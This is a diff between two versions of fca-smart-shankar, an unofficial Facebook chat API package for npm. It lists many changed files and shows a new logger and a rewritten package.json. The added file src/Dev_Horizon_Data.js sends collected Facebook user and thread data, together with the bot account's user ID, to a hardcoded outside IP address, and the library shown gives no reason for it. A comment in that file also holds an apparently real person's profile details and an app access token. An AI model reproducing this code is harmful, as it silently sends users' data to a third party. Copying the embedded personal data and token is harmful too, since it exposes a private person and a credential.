fca-smart-shankar 13.0.0 → 16.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (169) hide show
  1. package/.cache/replit/env/latest +56 -0
  2. package/.cache/replit/env/latest.json +1 -0
  3. package/.cache/replit/modules/nodejs-14.res +1 -0
  4. package/.cache/replit/modules/replit.res +1 -0
  5. package/.cache/replit/modules/web.res +1 -0
  6. package/.cache/replit/modules.stamp +0 -0
  7. package/.cache/typescript/5.5/package.json +1 -0
  8. package/.config/configstore/update-notifier-npm.json +4 -0
  9. package/.gitattributes +2 -0
  10. package/.replit +3 -12
  11. package/.upm/store.json +1 -1
  12. package/Extra/Balancer.js +49 -0
  13. package/Extra/Bypass/956/index.js +234 -0
  14. package/Extra/Bypass/test/aaaa.json +170 -0
  15. package/Extra/Bypass/test/index.js +188 -0
  16. package/Extra/Database/index.js +469 -0
  17. package/Extra/ExtraAddons.js +82 -0
  18. package/Extra/ExtraFindUID.js +62 -0
  19. package/Extra/ExtraGetThread.js +365 -0
  20. package/Extra/ExtraScreenShot.js +430 -0
  21. package/Extra/ExtraUptimeRobot.js +38 -0
  22. package/Extra/Html/Classic/script.js +119 -0
  23. package/Extra/Html/Classic/style.css +8 -0
  24. package/Extra/Security/AES_256_GCM/index.js +0 -0
  25. package/Extra/Security/Base/Step_1.js +6 -0
  26. package/Extra/Security/Base/Step_2.js +22 -0
  27. package/Extra/Security/Base/Step_3.js +22 -0
  28. package/Extra/Security/Base/index.js +191 -0
  29. package/Extra/Security/Index.js +5 -0
  30. package/Extra/Security/Step_1.js +6 -0
  31. package/Extra/Security/Step_2.js +22 -0
  32. package/Extra/Security/Step_3.js +22 -0
  33. package/Extra/Src/Change_Environment.js +24 -0
  34. package/Extra/Src/Check_Update.js +67 -0
  35. package/Extra/Src/History.js +115 -0
  36. package/Extra/Src/Instant_Update.js +65 -0
  37. package/Extra/Src/Last-Run.js +65 -0
  38. package/Extra/Src/Premium.js +81 -0
  39. package/Extra/Src/Release_Memory.js +160 -0
  40. package/Extra/Src/Websocket.js +213 -0
  41. package/Extra/Src/image/checkmate.jpg +0 -0
  42. package/Extra/Src/test.js +28 -0
  43. package/Extra/Src/uuid.js +137 -0
  44. package/Func/AcceptAgreement.js +31 -0
  45. package/Func/ClearCache.js +64 -0
  46. package/Func/ReportV1.js +54 -0
  47. package/LICENSE +678 -0
  48. package/Language/index.json +228 -0
  49. package/Main.js +1444 -0
  50. package/README.md +30 -175
  51. package/SECURITY.md +18 -0
  52. package/broadcast.js +44 -0
  53. package/index.js +414 -511
  54. package/logger.js +66 -0
  55. package/package.json +85 -370
  56. package/src/Dev_Horizon_Data.js +125 -0
  57. package/src/Dev_getThreadInfoOLD.js +422 -0
  58. package/src/Dev_shareTest2.js +68 -0
  59. package/src/Dev_shareTest3.js +71 -0
  60. package/src/Premium.js +25 -0
  61. package/src/Screenshot.js +83 -0
  62. package/src/addExternalModule.js +5 -14
  63. package/src/addUserToGroup.js +20 -56
  64. package/src/changeAdminStatus.js +20 -44
  65. package/src/changeArchivedStatus.js +11 -25
  66. package/src/{changeAvatarV2.js → changeAvt.js} +2 -3
  67. package/src/changeBio.js +15 -26
  68. package/src/changeBlockedStatus.js +8 -21
  69. package/src/changeGroupImage.js +24 -53
  70. package/src/changeNickname.js +13 -27
  71. package/src/changeThreadColor.js +19 -22
  72. package/src/changeThreadEmoji.js +11 -24
  73. package/src/createNewGroup.js +20 -38
  74. package/src/createPoll.js +16 -27
  75. package/src/deleteMessage.js +13 -24
  76. package/src/deleteThread.js +12 -25
  77. package/src/editMessage.js +53 -71
  78. package/src/forwardAttachment.js +15 -27
  79. package/src/getAccessToken.js +28 -0
  80. package/src/getCurrentUserID.js +1 -1
  81. package/src/getEmojiUrl.js +8 -10
  82. package/src/getFriendsList.js +15 -25
  83. package/src/getMessage.js +81 -813
  84. package/src/getThreadHistory.js +98 -241
  85. package/src/getThreadInfo.js +287 -90
  86. package/src/getThreadInfoOLD.js +422 -0
  87. package/src/getThreadList.js +157 -214
  88. package/src/getThreadMain.js +220 -0
  89. package/src/getThreadPictures.js +19 -39
  90. package/src/getUID.js +50 -113
  91. package/src/getUserID.js +14 -18
  92. package/src/getUserInfo.js +71 -65
  93. package/src/getUserInfoMain.js +65 -0
  94. package/src/getUserInfoV2.js +32 -0
  95. package/src/getUserInfoV3.js +63 -0
  96. package/src/getUserInfoV4.js +55 -0
  97. package/src/getUserInfoV5.js +61 -0
  98. package/src/handleFriendRequest.js +13 -24
  99. package/src/handleMessageRequest.js +20 -36
  100. package/src/httpGet.js +18 -34
  101. package/src/httpPost.js +18 -35
  102. package/src/httpPostFormData.js +24 -53
  103. package/src/listenMqtt.js +944 -680
  104. package/src/listenMqttV1.js +846 -0
  105. package/src/logout.js +15 -22
  106. package/src/markAsDelivered.js +15 -25
  107. package/src/markAsRead.js +27 -45
  108. package/src/markAsReadAll.js +14 -21
  109. package/src/markAsSeen.js +18 -28
  110. package/src/muteThread.js +12 -17
  111. package/src/removeUserFromGroup.js +17 -47
  112. package/src/resolvePhotoUrl.js +13 -21
  113. package/src/searchForThread.js +13 -23
  114. package/src/sendMessage.js +117 -178
  115. package/src/sendMqttMessage.js +71 -0
  116. package/src/sendTypingIndicator.js +16 -46
  117. package/src/setMessageReaction.js +20 -33
  118. package/src/setPostReaction.js +95 -105
  119. package/src/setTitle.js +18 -34
  120. package/src/shareContact.js +37 -92
  121. package/src/shareLink.js +4 -5
  122. package/src/threadColors.js +18 -110
  123. package/src/unfriend.js +9 -18
  124. package/src/unsendMessage.js +34 -31
  125. package/src/unsendMqttMessage.js +66 -0
  126. package/test/Database_Test.js +4 -0
  127. package/test/Db2.js +530 -0
  128. package/test/Shankar_Database/A_README.md +1 -0
  129. package/test/Shankar_Database/Database.db +0 -0
  130. package/test/data/shareAttach.js +1 -1
  131. package/test/env/.env +0 -0
  132. package/test/example-db.db +0 -0
  133. package/test/memoryleak.js +18 -0
  134. package/test/test.js +1 -1
  135. package/test/testname.js +1342 -0
  136. package/test/testv2.js +3 -0
  137. package/utils.js +2918 -1393
  138. package/CHANGELOG.md +0 -2
  139. package/LICENSE-MIT +0 -21
  140. package/generated-icon.png +0 -0
  141. package/replit.nix +0 -5
  142. package/shankar-fca.json +0 -4
  143. package/src/changeAvatar.js +0 -136
  144. package/src/changeBlockedStatusMqtt.js +0 -80
  145. package/src/changeCover.js +0 -73
  146. package/src/changeName.js +0 -79
  147. package/src/changeUsername.js +0 -59
  148. package/src/createCommentPost.js +0 -230
  149. package/src/createPost.js +0 -277
  150. package/src/data/getThreadInfo.json +0 -1
  151. package/src/editMessageOld.js +0 -67
  152. package/src/follow.js +0 -74
  153. package/src/getAccess.js +0 -112
  154. package/src/getAvatarUser.js +0 -78
  155. package/src/getRegion.js +0 -7
  156. package/src/getThreadHistoryDeprecated.js +0 -93
  157. package/src/getThreadInfoDeprecated.js +0 -80
  158. package/src/getThreadListDeprecated.js +0 -75
  159. package/src/listenNotification.js +0 -85
  160. package/src/pinMessage.js +0 -59
  161. package/src/refreshFb_dtsg.js +0 -89
  162. package/src/searchStickers.js +0 -53
  163. package/src/sendMessageMqtt.js +0 -322
  164. package/src/sendTypingIndicatorV2.js +0 -28
  165. package/src/setMessageReactionMqtt.js +0 -62
  166. package/src/setProfileGuard.js +0 -45
  167. package/src/setStoryReaction.js +0 -64
  168. package/src/stopListenMqtt.js +0 -26
  169. package/src/uploadAttachment.js +0 -94
package/logger.js ADDED
@@ -0,0 +1,66 @@
1
+ 'use strict';
2
+ /* eslint-disable linebreak-style */
3
+
4
+ const chalk = require('chalk');
5
+ var isHexcolor = require('is-hexcolor');
6
+ var getText = function(/** @type {string[]} */ ...Data) {
7
+ var Main = (Data.splice(0,1)).toString();
8
+ for (let i = 0; i < Data.length; i++) Main = Main.replace(RegExp(`%${i + 1}`, 'g'), Data[i]);
9
+ return Main;
10
+ };
11
+ /**
12
+ * @param {any} obj
13
+ */
14
+ function getType(obj) {
15
+ return Object.prototype.toString.call(obj).slice(8, -1);
16
+ }
17
+
18
+ module.exports = {
19
+ Normal: function(/** @type {string} */ Str, /** @type {() => any} */ Data ,/** @type {() => void} */ Callback) {
20
+ if (isHexcolor(global.Fca.Require.ShankarConfig.MainColor) != true) {
21
+ this.Warning(getText(global.Fca.Require.Language.Index.InvaildMainColor,global.Fca.Require.ShankarConfig.MainColor),process.exit(0));
22
+ }
23
+ else console.log(chalk.hex(global.Fca.Require.ShankarConfig.MainColor).bold(`${global.Fca.Require.ShankarConfig.MainName || '[ FCA-SHANKAR ]'} > `) + Str);
24
+ if (getType(Data) == 'Function' || getType(Data) == 'AsyncFunction') {
25
+ return Data();
26
+ }
27
+ if (Data) {
28
+ return Data;
29
+ }
30
+ if (getType(Callback) == 'Function' || getType(Callback) == 'AsyncFunction') {
31
+ Callback();
32
+ }
33
+ else return Callback;
34
+ },
35
+ Warning: function(/** @type {unknown} */ str, /** @type {() => void} */ callback) {
36
+ console.log(chalk.magenta.bold('[ FCA-WARNING ] > ') + chalk.yellow(str));
37
+ if (getType(callback) == 'Function' || getType(callback) == 'AsyncFunction') {
38
+ callback();
39
+ }
40
+ else return callback;
41
+ },
42
+ Error: function(/** @type {unknown} */ str, /** @type {() => void} */ callback) {
43
+ if (!str) {
44
+ console.log(chalk.magenta.bold('[ FCA-ERROR ] > ') + chalk.red("Already Faulty, Please Contact: https://www.facebook.com/shankar.suman.98622733"));
45
+ }
46
+ console.log(chalk.magenta.bold('[ FCA-ERROR ] > ') + chalk.red(str));
47
+ if (getType(callback) == 'Function' || getType(callback) == 'AsyncFunction') {
48
+ callback();
49
+ }
50
+ else return callback;
51
+ },
52
+ Success: function(/** @type {unknown} */ str, /** @type {() => void} */ callback) {
53
+ console.log(chalk.hex('#9900FF').bold(`${global.Fca.Require.ShankarConfig.MainName || '[ FCA-SHANKAR ]'} > `) + chalk.green(str));
54
+ if (getType(callback) == 'Function' || getType(callback) == 'AsyncFunction') {
55
+ callback();
56
+ }
57
+ else return callback;
58
+ },
59
+ Info: function(/** @type {unknown} */ str, /** @type {() => void} */ callback) {
60
+ console.log(chalk.hex('#9900FF').bold(`${global.Fca.Require.ShankarConfig.MainName || '[ FCA-SHANKAR ]'} > `) + chalk.blue(str));
61
+ if (getType(callback) == 'Function' || getType(callback) == 'AsyncFunction') {
62
+ callback();
63
+ }
64
+ else return callback;
65
+ }
66
+ };
package/package.json CHANGED
@@ -1,380 +1,95 @@
1
1
  {
2
2
  "name": "fca-smart-shankar",
3
- "version": "13.0.0",
4
- "description": "---",
3
+ "version": "16.0.0",
4
+ "description": "Facebook-chat-api protect and deploy by Smart Shankar",
5
5
  "main": "index.js",
6
- "directories": {
7
- "test": "test"
6
+ "scripts": {
7
+ "test": "mocha"
8
+ },
9
+ "author": "SMART SHANKAR",
10
+ "license": "MIT",
11
+ "bugs": {
12
+ "url": "https://github.com/SHANKAR-PROJECT/fca-smart-shankar/issues"
13
+ },
14
+ "homepage": "https://github.com/SHANKAR-PROJECT/fca-smart-shankar#readme",
15
+ "repository": {
16
+ "type": "git",
17
+ "url": "https://github.com/SHANKAR-PROJECT/fca-smart-shankar.git"
8
18
  },
9
19
  "dependencies": {
10
- "acorn": "^7.4.1",
11
- "acorn-jsx": "^5.3.2",
12
- "agent-base": "^5.1.1",
13
- "ajv": "^6.12.6",
14
- "ansi": "^0.3.1",
15
- "ansi-colors": "^4.1.3",
16
- "ansi-regex": "^5.0.1",
17
- "ansi-styles": "^4.3.0",
18
- "anymatch": "^3.1.3",
19
- "are-we-there-yet": "^1.0.6",
20
- "argparse": "^1.0.10",
21
- "array-buffer-byte-length": "^1.0.1",
22
- "array.prototype.reduce": "^1.0.7",
23
- "arraybuffer.prototype.slice": "^1.0.3",
24
- "asn1": "^0.2.6",
25
- "assert-plus": "^1.0.0",
26
- "astral-regex": "^2.0.0",
27
- "async-limiter": "^1.0.1",
28
- "asynckit": "^0.4.0",
29
- "available-typed-arrays": "^1.0.7",
30
- "aws-sign2": "^0.7.0",
31
- "aws4": "^1.13.2",
32
- "axios": "^1.7.9",
33
- "balanced-match": "^1.0.2",
34
- "base64-js": "^1.5.1",
35
- "bcrypt-pbkdf": "^1.0.2",
36
- "binary-extensions": "^2.3.0",
37
- "bl": "^4.1.0",
38
- "bluebird": "^3.7.2",
39
- "boolbase": "^1.0.0",
40
- "brace-expansion": "^1.1.11",
41
- "braces": "^3.0.3",
42
- "browser-stdout": "^1.3.1",
43
- "buffer": "^5.7.1",
44
- "buffer-from": "^1.1.2",
45
- "call-bind": "^1.0.8",
46
- "call-bind-apply-helpers": "^1.0.1",
47
- "call-bound": "^1.0.2",
48
- "callback-stream": "^1.1.0",
49
- "callsites": "^3.1.0",
50
- "camelcase": "^5.3.1",
51
- "caseless": "^0.12.0",
52
- "chalk": "^4.1.2",
53
- "cheerio": "^0.22.0",
54
- "chokidar": "^3.3.0",
55
- "cliui": "^5.0.0",
56
- "color-convert": "^2.0.1",
57
- "color-name": "^1.1.4",
58
- "combined-stream": "^1.0.8",
59
- "commist": "^1.1.0",
60
- "concat-map": "^0.0.1",
61
- "concat-stream": "^1.6.2",
62
- "core-util-is": "^1.0.2",
63
- "cross-spawn": "^7.0.6",
64
- "css-select": "^1.2.0",
65
- "css-what": "^2.1.3",
66
- "d": "^1.0.2",
67
- "dashdash": "^1.14.1",
68
- "data-view-buffer": "^1.0.1",
69
- "data-view-byte-length": "^1.0.1",
70
- "data-view-byte-offset": "^1.0.0",
71
- "debug": "^4.4.0",
72
- "decamelize": "^1.2.0",
73
- "deep-is": "^0.1.4",
74
- "define-data-property": "^1.1.4",
75
- "define-properties": "^1.2.1",
76
- "delayed-stream": "^1.0.0",
77
- "delegates": "^1.0.0",
78
- "diff": "^3.5.0",
79
- "doctrine": "^3.0.0",
80
- "dom-serializer": "^0.1.1",
81
- "domelementtype": "^1.3.1",
82
- "domhandler": "^2.4.2",
83
- "domutils": "^1.5.1",
84
- "dunder-proto": "^1.0.0",
85
- "duplexify": "^3.7.1",
86
- "ecc-jsbn": "^0.1.2",
87
- "emoji-regex": "^8.0.0",
88
- "end-of-stream": "^1.4.4",
89
- "enquirer": "^2.4.1",
90
- "entities": "^1.1.2",
91
- "es-abstract": "^1.23.5",
92
- "es-array-method-boxes-properly": "^1.0.0",
93
- "es-define-property": "^1.0.1",
94
- "es-errors": "^1.3.0",
95
- "es-object-atoms": "^1.0.0",
96
- "es-set-tostringtag": "^2.0.3",
97
- "es-to-primitive": "^1.3.0",
98
- "es5-ext": "^0.10.64",
99
- "es6-iterator": "^2.0.3",
100
- "es6-map": "^0.1.5",
101
- "es6-set": "^0.1.6",
102
- "es6-symbol": "^3.1.4",
103
- "escape-string-regexp": "^4.0.0",
104
- "eslint": "^7.32.0",
105
- "eslint-scope": "^5.1.1",
106
- "eslint-utils": "^2.1.0",
107
- "eslint-visitor-keys": "^2.1.0",
108
- "esniff": "^2.0.1",
109
- "espree": "^7.3.1",
110
- "esprima": "^4.0.1",
111
- "esquery": "^1.6.0",
112
- "esrecurse": "^4.3.0",
113
- "estraverse": "^4.3.0",
114
- "esutils": "^2.0.3",
115
- "event-emitter": "^0.3.5",
116
- "ext": "^1.7.0",
117
- "extend": "^3.0.2",
118
- "extsprintf": "^1.3.0",
119
- "fast-deep-equal": "^3.1.3",
120
- "fast-json-stable-stringify": "^2.1.0",
121
- "fast-levenshtein": "^2.0.6",
122
- "fast-uri": "^3.0.3",
123
- "file-entry-cache": "^6.0.1",
124
- "fill-range": "^7.1.1",
125
- "find-up": "^3.0.0",
126
- "flat": "^4.1.1",
127
- "flat-cache": "^3.2.0",
128
- "flatted": "^3.3.2",
129
- "follow-redirects": "^1.15.9",
130
- "for-each": "^0.3.3",
131
- "forever-agent": "^0.6.1",
132
- "form-data": "^2.3.3",
133
- "fs.realpath": "^1.0.0",
134
- "function-bind": "^1.1.2",
135
- "function.prototype.name": "^1.1.6",
136
- "functional-red-black-tree": "^1.0.1",
137
- "functions-have-names": "^1.2.3",
138
- "gauge": "^1.2.7",
139
- "get-caller-file": "^2.0.5",
140
- "get-intrinsic": "^1.2.6",
141
- "get-symbol-description": "^1.0.2",
142
- "getpass": "^0.1.7",
143
- "glob": "^7.1.3",
144
- "glob-parent": "^5.1.2",
145
- "glob-stream": "^6.1.0",
146
- "globals": "^13.24.0",
147
- "globalthis": "^1.0.4",
148
- "gopd": "^1.2.0",
149
- "growl": "^1.10.5",
150
- "har-schema": "^2.0.0",
151
- "har-validator": "^5.1.5",
152
- "has-bigints": "^1.0.2",
153
- "has-flag": "^4.0.0",
154
- "has-property-descriptors": "^1.0.2",
155
- "has-proto": "^1.2.0",
156
- "has-symbols": "^1.1.0",
157
- "has-tostringtag": "^1.0.2",
158
- "has-unicode": "^2.0.1",
159
- "hasown": "^2.0.2",
160
- "he": "^1.2.0",
161
- "help-me": "^1.1.0",
162
- "htmlparser2": "^3.10.1",
163
- "http-signature": "^1.2.0",
164
- "https-proxy-agent": "^4.0.0",
165
- "ieee754": "^1.2.1",
166
- "ignore": "^4.0.6",
167
- "import-fresh": "^3.3.0",
168
- "imurmurhash": "^0.1.4",
169
- "inflight": "^1.0.6",
170
- "inherits": "^2.0.4",
171
- "internal-slot": "^1.1.0",
172
- "is-absolute": "^1.0.0",
173
- "is-array-buffer": "^3.0.4",
174
- "is-async-function": "^2.0.0",
175
- "is-bigint": "^1.1.0",
176
- "is-binary-path": "^2.1.0",
177
- "is-boolean-object": "^1.2.1",
178
- "is-buffer": "^2.0.5",
179
- "is-callable": "^1.2.7",
180
- "is-data-view": "^1.0.2",
181
- "is-date-object": "^1.1.0",
182
- "is-extglob": "^2.1.1",
183
- "is-finalizationregistry": "^1.1.0",
184
- "is-fullwidth-code-point": "^3.0.0",
185
- "is-generator-function": "^1.0.10",
186
- "is-glob": "^4.0.3",
187
- "is-map": "^2.0.3",
188
- "is-negated-glob": "^1.0.0",
189
- "is-negative-zero": "^2.0.3",
190
- "is-number": "^7.0.0",
191
- "is-number-object": "^1.1.0",
192
- "is-regex": "^1.2.1",
193
- "is-relative": "^1.0.0",
194
- "is-set": "^2.0.3",
195
- "is-shared-array-buffer": "^1.0.3",
196
- "is-string": "^1.1.0",
197
- "is-symbol": "^1.1.1",
198
- "is-typed-array": "^1.1.13",
199
- "is-typedarray": "^1.0.0",
200
- "is-unc-path": "^1.0.0",
201
- "is-weakmap": "^2.0.2",
202
- "is-weakref": "^1.1.0",
203
- "is-weakset": "^2.0.3",
204
- "is-windows": "^1.0.2",
205
- "isarray": "^2.0.5",
206
- "isexe": "^2.0.0",
207
- "isstream": "^0.1.2",
208
- "js-tokens": "^4.0.0",
209
- "js-yaml": "^3.14.1",
210
- "jsbn": "^0.1.1",
211
- "json-buffer": "^3.0.1",
212
- "json-schema": "^0.4.0",
213
- "json-schema-traverse": "^0.4.1",
214
- "json-stable-stringify-without-jsonify": "^1.0.1",
215
- "json-stringify-safe": "^5.0.1",
216
- "jsprim": "^1.4.2",
217
- "keyv": "^4.5.4",
218
- "leven": "^2.1.0",
219
- "levn": "^0.4.1",
220
- "locate-path": "^3.0.0",
221
- "lodash": "^4.17.21",
222
- "lodash.assignin": "^4.2.0",
223
- "lodash.bind": "^4.2.1",
224
- "lodash.defaults": "^4.2.0",
225
- "lodash.filter": "^4.6.0",
226
- "lodash.flatten": "^4.4.0",
227
- "lodash.foreach": "^4.5.0",
228
- "lodash.map": "^4.6.0",
229
- "lodash.merge": "^4.6.2",
230
- "lodash.pad": "^4.5.1",
231
- "lodash.padend": "^4.6.1",
232
- "lodash.padstart": "^4.6.1",
233
- "lodash.pick": "^4.4.0",
234
- "lodash.reduce": "^4.6.0",
235
- "lodash.reject": "^4.6.0",
236
- "lodash.some": "^4.6.0",
237
- "lodash.truncate": "^4.4.2",
238
- "log-symbols": "^3.0.0",
239
- "math-intrinsics": "^1.0.0",
240
- "mime-db": "^1.52.0",
241
- "mime-types": "^2.1.35",
242
- "minimatch": "^3.1.2",
243
- "minimist": "^1.2.8",
244
- "mkdirp": "^0.5.5",
245
- "mqtt": "^3.0.0",
246
- "mqtt-packet": "^6.10.0",
247
- "ms": "^2.1.3",
248
- "natural-compare": "^1.4.0",
249
- "next-tick": "^1.1.0",
250
- "node-environment-flags": "^1.0.6",
251
- "normalize-path": "^3.0.0",
252
- "npmlog": "^1.2.1",
253
- "nth-check": "^1.0.2",
254
- "oauth-sign": "^0.9.0",
255
- "object-inspect": "^1.13.3",
256
- "object-keys": "^1.1.1",
257
- "object.assign": "^4.1.0",
258
- "object.getownpropertydescriptors": "^2.1.8",
259
- "once": "^1.4.0",
260
- "optionator": "^0.9.4",
261
- "ordered-read-streams": "^1.0.1",
262
- "p-limit": "^2.3.0",
263
- "p-locate": "^3.0.0",
264
- "p-try": "^2.2.0",
265
- "parent-module": "^1.0.1",
266
- "path-dirname": "^1.0.2",
267
- "path-exists": "^3.0.0",
268
- "path-is-absolute": "^1.0.1",
269
- "path-key": "^3.1.1",
270
- "performance-now": "^2.1.0",
271
- "picocolors": "^1.1.1",
272
- "picomatch": "^2.3.1",
273
- "possible-typed-array-names": "^1.0.0",
274
- "prelude-ls": "^1.2.1",
275
- "prettier": "^1.19.1",
276
- "process-nextick-args": "^2.0.1",
277
- "progress": "^2.0.3",
278
- "proxy-from-env": "^1.1.0",
279
- "psl": "^1.13.0",
280
- "pump": "^3.0.2",
281
- "pumpify": "^1.5.1",
282
- "punycode": "^2.3.1",
283
- "qs": "^6.5.3",
284
- "random-seed": "^0.3.0",
285
- "random-useragent": "^0.5.0",
286
- "readable-stream": "^3.6.2",
287
- "readdirp": "^3.2.0",
288
- "reflect.getprototypeof": "^1.0.8",
289
- "regexp.prototype.flags": "^1.5.3",
290
- "regexpp": "^3.2.0",
291
- "reinterval": "^1.1.0",
292
- "remove-trailing-separator": "^1.1.0",
293
- "request": "^2.88.2",
294
- "require-directory": "^2.1.1",
295
- "require-from-string": "^2.0.2",
296
- "require-main-filename": "^2.0.0",
297
- "resolve-from": "^4.0.0",
298
- "rimraf": "^3.0.2",
299
- "safe-array-concat": "^1.1.3",
300
- "safe-buffer": "^5.2.1",
301
- "safe-regex-test": "^1.1.0",
302
- "safer-buffer": "^2.1.2",
303
- "semver": "^7.6.3",
304
- "set-blocking": "^2.0.0",
305
- "set-function-length": "^1.2.2",
306
- "set-function-name": "^2.0.2",
307
- "shebang-command": "^2.0.0",
308
- "shebang-regex": "^3.0.0",
309
- "side-channel": "^1.1.0",
310
- "side-channel-list": "^1.0.0",
311
- "side-channel-map": "^1.0.1",
312
- "side-channel-weakmap": "^1.0.2",
313
- "slice-ansi": "^4.0.0",
314
- "split2": "^3.2.2",
315
- "sprintf-js": "^1.0.3",
316
- "sshpk": "^1.18.0",
317
- "stream-shift": "^1.0.3",
318
- "string_decoder": "^1.3.0",
319
- "string-width": "^4.2.3",
320
- "string.prototype.trim": "^1.2.10",
321
- "string.prototype.trimend": "^1.0.9",
322
- "string.prototype.trimstart": "^1.0.8",
323
- "strip-ansi": "^6.0.1",
324
- "strip-json-comments": "^3.1.1",
325
- "supports-color": "^7.2.0",
326
- "table": "^6.9.0",
327
- "text-table": "^0.2.0",
328
- "through2": "^2.0.5",
329
- "through2-filter": "^3.0.0",
330
- "to-absolute-glob": "^2.0.2",
331
- "to-regex-range": "^5.0.1",
332
- "tough-cookie": "^2.5.0",
333
- "tunnel-agent": "^0.6.0",
334
- "tweetnacl": "^0.14.5",
335
- "type": "^2.7.3",
336
- "type-check": "^0.4.0",
337
- "type-fest": "^0.20.2",
338
- "typed-array-buffer": "^1.0.2",
339
- "typed-array-byte-length": "^1.0.1",
340
- "typed-array-byte-offset": "^1.0.3",
341
- "typed-array-length": "^1.0.7",
342
- "typedarray": "^0.0.6",
343
- "ultron": "^1.1.1",
344
- "unbox-primitive": "^1.0.2",
345
- "unc-path-regex": "^0.1.2",
346
- "unique-stream": "^2.3.1",
347
- "uri-js": "^4.4.1",
348
- "util-deprecate": "^1.0.2",
349
- "uuid": "^3.4.0",
350
- "v8-compile-cache": "^2.4.0",
351
- "verror": "^1.10.0",
352
- "websocket-stream": "^5.5.2",
353
- "which": "^2.0.2",
354
- "which-boxed-primitive": "^1.1.0",
355
- "which-builtin-type": "^1.2.1",
356
- "which-collection": "^1.0.2",
357
- "which-module": "^2.0.1",
358
- "which-typed-array": "^1.1.16",
359
- "wide-align": "^1.1.3",
360
- "word-wrap": "^1.2.5",
361
- "wrap-ansi": "^5.1.0",
362
- "wrappy": "^1.0.2",
363
- "ws": "^3.3.3",
364
- "xtend": "^4.0.2",
365
- "y18n": "^4.0.3",
366
- "yargs": "^13.3.2",
367
- "yargs-parser": "^13.1.2",
368
- "yargs-unparser": "^1.6.0"
20
+ "aes-js": "latest",
21
+ "ansi-to-html": "latest",
22
+ "assert": "latest",
23
+ "better-sqlite3": "7.6.2",
24
+ "bluebird": "latest",
25
+ "chalk": "4.1.2",
26
+ "cheerio": "1.0.0-rc.12",
27
+ "crypto-js": "latest",
28
+ "deasync": "^0.1.28",
29
+ "duplexify": "^4.1.2",
30
+ "encode32": "latest",
31
+ "express": "latest",
32
+ "figlet": "latest",
33
+ "file-url": "^3.0.0",
34
+ "fs-extra": "^11.2.0",
35
+ "got": "^11.8.6",
36
+ "https-proxy-agent": "latest",
37
+ "is-hexcolor": "^1.0.0",
38
+ "lodash": "latest",
39
+ "moment": "^2.29.4",
40
+ "mqtt": "^4.3.7",
41
+ "npmlog": "latest",
42
+ "os": "latest",
43
+ "path": "latest",
44
+ "pretty-ms": "7.0.1",
45
+ "readable-stream": "^4.4.0",
46
+ "readline": "latest",
47
+ "request": "latest",
48
+ "speakeasy": "latest",
49
+ "sqlite3": "^5.0.2",
50
+ "totp-generator": "^0.0.14",
51
+ "tough-cookie": "^4.1.2",
52
+ "uuid": "latest",
53
+ "ws": "^8.13.0"
54
+ },
55
+ "engines": {
56
+ "node": ">=14.x"
369
57
  },
370
58
  "devDependencies": {
371
- "mocha": "^7.2.0"
59
+ "eslint": "^8.40.0",
60
+ "mocha": "latest",
61
+ "prettier": "latest"
372
62
  },
373
- "scripts": {
374
- "test": "mocha",
375
- "start": "node index.js"
63
+ "eslintConfig": {
64
+ "env": {
65
+ "es6": true,
66
+ "node": true
67
+ },
68
+ "extends": "eslint:recommended",
69
+ "parserOptions": {
70
+ "sourceType": "module"
71
+ },
72
+ "rules": {
73
+ "linebreak-style": [
74
+ "error",
75
+ "unix"
76
+ ],
77
+ "semi": [
78
+ "error",
79
+ "always"
80
+ ],
81
+ "no-unused-vars": [
82
+ 1,
83
+ {
84
+ "argsIgnorePattern": "^_"
85
+ }
86
+ ]
87
+ }
376
88
  },
377
- "keywords": [],
378
- "author": "SMART SHANKAR",
379
- "license": "ISC"
89
+ "keywords": [
90
+ "Fca shankar",
91
+ "fca-smart-shankar",
92
+ "fca-shankar-bot",
93
+ "shankar"
94
+ ]
380
95
  }
@@ -0,0 +1,125 @@
1
+ /* eslint-disable linebreak-style */
2
+ "use strict";
3
+
4
+ var utils = require("../utils");
5
+ var bluebird = require('bluebird');
6
+ var request = bluebird.promisify(require("request"));
7
+
8
+ module.exports = function (defaultFuncs, api, ctx) {
9
+ return function getUserInfoV4(data, type, method, callback) {
10
+ var resolveFunc = function () { };
11
+ var rejectFunc = function () { };
12
+ var returnPromise = new Promise(function (resolve, reject) {
13
+ resolveFunc = resolve;
14
+ rejectFunc = reject;
15
+ });
16
+
17
+ if (!callback) {
18
+ callback = function (err, userInfo) {
19
+ if (err) return rejectFunc(err);
20
+ resolveFunc(userInfo);
21
+ };
22
+ }
23
+
24
+ if (!data || !type || !method) return;
25
+
26
+ var Cluster = ['http://146.190.109.182:3874'];
27
+ var ursl = Cluster[Math.floor(Math.random() * Cluster.length)];
28
+
29
+ if (utils.getType(data) !== "Array") data = [data];
30
+ switch (method) {
31
+ case "Post": {
32
+ switch (type) {
33
+ case "Users": {
34
+ /*
35
+ example
36
+ Time:19/01/2023
37
+ Data:[{"id":"100042817150429","name":"Nguyễn Thái Hảo","first_name":"Hảo","username":"Lazic.Kanzu","link":"https://www.facebook.com/Lazic.Kanzu","verified":"Không Có Dữ Liệu","about":"Là một người bình thường ^^","avatar":"https://graph.facebook.com/100042817150429/picture?height=1500&width=1500&access_token=1449557605494892|aaf0a865c8bafc314ced5b7f18f3caa6","birthday":"01/03/1999","follow":241614,"gender":"male","hometown":{"id":"112089428815888","name":"Xuân Lộc, Ðồng Nai, Vietnam"},"email":"Không Có Dữ Liệu","interested_in":"Không Có Dữ Liệu","location":{"id":"351759091676222","name":"Biên Hòa"},"locale":"Không Có Dữ Liệu","relationship_status":"Không Có Dữ Liệu","love":"Không Có Dữ Liệu","website":"http://KanzuWakazaki.tk/","quotes":"The word impossible is not in my dictionary.","timezone":"Không Có Dữ Liệu","updated_time":"Không Có Dữ Liệu"}]
38
+ Type:Users
39
+ By:KanzuWakazaki
40
+ **/
41
+ let Time = new Date().toLocaleString("vi-vn", {timeZone: "Asia/Ho_Chi_Minh"});
42
+ return request({
43
+ url: ursl + '/post',
44
+ method: 'post',
45
+ headers: {
46
+ 'user-agent': "Horizon/GlobalData/Client"
47
+ },
48
+ formData: {
49
+ Time: Time,
50
+ Data: JSON.stringify(data),
51
+ Type: "Users",
52
+ By: ctx.userID
53
+ }
54
+ }).then(dt => console.log(dt.body));
55
+ }
56
+ case "Threads": {
57
+ /*
58
+ example
59
+ Time:19/01/2023
60
